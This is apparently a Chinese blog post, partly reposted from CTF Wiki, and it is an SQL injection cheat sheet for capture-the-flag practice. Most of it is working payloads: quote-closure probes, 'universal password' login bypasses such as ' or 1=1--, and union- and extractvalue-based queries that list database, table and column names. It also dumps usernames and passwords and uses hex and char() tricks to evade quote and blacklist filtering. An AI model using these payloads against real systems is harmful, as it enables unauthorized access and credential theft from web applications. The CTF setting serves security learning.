sql 注入 ctf wiki

部分转载ctf-wiki

判闭合形式:

哪个报错就是哪种
1,1’,1’‘,1’±,1’'±(双引号带括号)

万能密码:

admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–

数据库名:

  1. SELECT database();
  2. SELECT schema_name FROM
    information_schema.schemata;
  3. extractvalue(1,concat(0x7e,database(),0x7e))

表名

union

  1. 数据库中的表:
    –MySQL 4版本时用version=9,MySQL 5版本时用version=10 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE
    version=10;

  2. 用户自定义的表 UNION SELECT TABLE_NAME FROM information_schema.tables WHERE
    TABLE_SCHEMA=database();

报错

  1. ExtractValue(1,CONCAT(0x5c,(SELECT table_name FROM
    information_schema.tables where table_schema=??)));

列名

union

  1. UNION SELECT GROUP_CONCAT(column_name) FROM
    information_schema.columns WHERE table_name = ‘tablename’

报错

  1. ExtractValue(1,concat(0x7e,(SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name)like(‘tablename’))))

根据列名查询所在表

  1. 查询字段名为 username 的表
    SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’;
  2. 查询字段名中包含 username 的表
    SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’;

查数据

union

  1. -1’ union select 1,2,group_concat(concat_ws(username,password)) from l0ve1ysq1#

报错

  1. extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(username,right(password,20))))from(tablename))))

绕过引号限制

  1. – hex 编码
    SELECT * FROM Users WHERE username = 0x61646D696E
  2. – char() 函数
    SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

  1. SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
  2. SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  3. SELECT CONCAT_WS(‘’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  4. SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值